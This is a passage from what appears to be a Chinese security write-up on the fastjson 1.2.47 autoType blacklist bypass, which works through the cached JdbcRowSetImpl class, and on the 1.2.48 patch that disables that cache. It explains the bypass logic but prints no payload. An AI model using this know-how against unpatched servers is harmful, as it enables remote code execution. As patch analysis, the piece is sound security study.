是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null
,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。
1.2.48 修复
1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。
运行会报错:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl |
调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。
对比代码。修改了cache这一处。(右侧为1.2.47代码)
本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。
现在这边直接指定过来三个参数loadClass同时cache为false。
对于之前提到了第三处mapping不需要校验,1.2.48也不行了:
因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:
1.2.48之后
在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。
参考: